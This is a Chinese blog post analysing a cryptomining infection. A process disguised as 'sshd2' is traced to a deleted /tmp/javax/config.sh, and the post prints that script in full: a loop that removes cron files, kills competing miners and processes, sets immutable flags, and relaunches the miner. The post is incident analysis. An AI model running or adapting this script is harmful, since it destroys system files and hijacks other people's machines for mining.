zoukankan      html  css  js  c++  java
  • 一个挖矿脚本

    遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高

    仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户

    ps -ef查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄
    在/proc/PID/fd里面顺利找到执行脚本

    #!/bin/sh
    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
    while [ 1 ]
    do
        p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
        if [ ${p} -eq 0 ];
        then
            ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
        fi
        chattr -i /var/spool/cron/root
        chattr -i /var/spool/cron/crontabs/root
        chattr -i /usr/local/bin/dns
        pkill 6Tx3Wq
        rm -f /tmp/6Tx3Wq
        killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
        killall -9 /tmp/.sysinfo/*
        rm -f /tmp/.sysinfo/*
        chattr +i /tmp/.sysinfo
        rm -f /var/spool/cron/root
        rm -f /var/spool/cron/backup.db
        rm -f /var/spool/cron/dump.rdb
        rm -f /var/spool/cron/jw
        rm -f /var/spool/cron/uo
        rm -f /var/spool/cron/vf
        rm -f /tmp/root
        rm -f /tmp/backup.db
        rm -f /tmp/dump.rdb
        rm -f /tmp/root
        rm -f /var/spool/cron/crontabs/root
        rm -f /var/spool/cron/crontabs/dump.rdb
        killall -9 kworkerds
        chattr -i /etc/cron.d/root
        chattr -i /etc/cron.d/apache
        chattr -i /etc/cron.d/0hourly
        rm -f /etc/cron.d/root
        rm -f /etc/cron.d/apache
        rm -f /etc/cron.d/0hourly
        rm -f /tmp/kworkerds
        rm -f /var/tmp/kworkerds
        rm -f /etc/cron.hourly/oanacroner
        rm -f /etc/cron.hourly/oanacrona
        rm -f /etc/cron.daily/oanacroner
        rm -f /etc/cron.daily/oanacrona
        rm -f /etc/cron.monthly/oanacroner
        rm -f /usr/local/bin/dns
        pkill .systemcero
        pkill vTtHH
        pkill -f /tmp/just4root
        pkill -f /tmp/just4copy
        pkill -f /tmp/dc_name
        pkill x7
        pkill cloudupdate
        pkill diskmanagerd
        pkill curl
        pkill jspserv
        pkill init
        pkill sysupdate
        pkill sysguard
        pkill networkservice
        pkill watchbog
        rm -f /usr/share/watchbog/watchbog
        rm -f /bin/httpsntp
        rm -f /bin/ftpsntp
        rm -f /tmp/.systemcero
        rm -f /tmp/vTtHH
        rm -f /usr/bin/.systemcero
        rm -f /usr/bin/cloudupdate
        rm -f /usr/bin/diskmanagerd
        rm -f /lib/libterminfo.so
        rm -f /tmp/config.json
        rm -f /var/tmp/jspserv
        rm -f /etc/update.sh
        chattr -i /etc/sysupdate
        rm -f /etc/sysupdate
        rm -f /etc/config.json
        echo >/tmp/6Tx3Wq
        echo >/tmp/vTtHH
        chattr +i /tmp/6Tx3Wq
        chattr +i /tmp/vTtHH
        p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
        name=""$p
        if [ -z "$name" ]
        then
            ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
            nohup /tmp/javax/sshd2 &>>/dev/null &  
        else
             :
        fi
        sleep 60 
    done
    

    从脚本的删除动作来看,可能是通过redis的漏洞进来的,脚本似乎还想努力不让监控发现

    修复方案
    时间短,修复不是我来操作的。初步并没有发现隐藏的激活方式,所以按照上面脚本的内容反向处理一下应该就可以了,注意防范redis的漏洞。

  • 相关阅读:
    Android控件之ListView探究二
    解决activity页面跳转时显示桌面
    TextView实现滚动显示的效果
    QPainter的坐标系系统的转换
    MODBUS_RTU通信协议
    收藏的博客 -- Qt有关的GitHub/Gitee开源项目
    VS联调多个解决方案的项目
    软件工具——GitGUI使用教程
    Python中对文件的操作
    VMware虚拟机三种网络模式详解 --------- NAT(地址转换模式)
  • 原文地址:https://www.cnblogs.com/mikeguan/p/11314005.html
Copyright © 2011-2022 走看看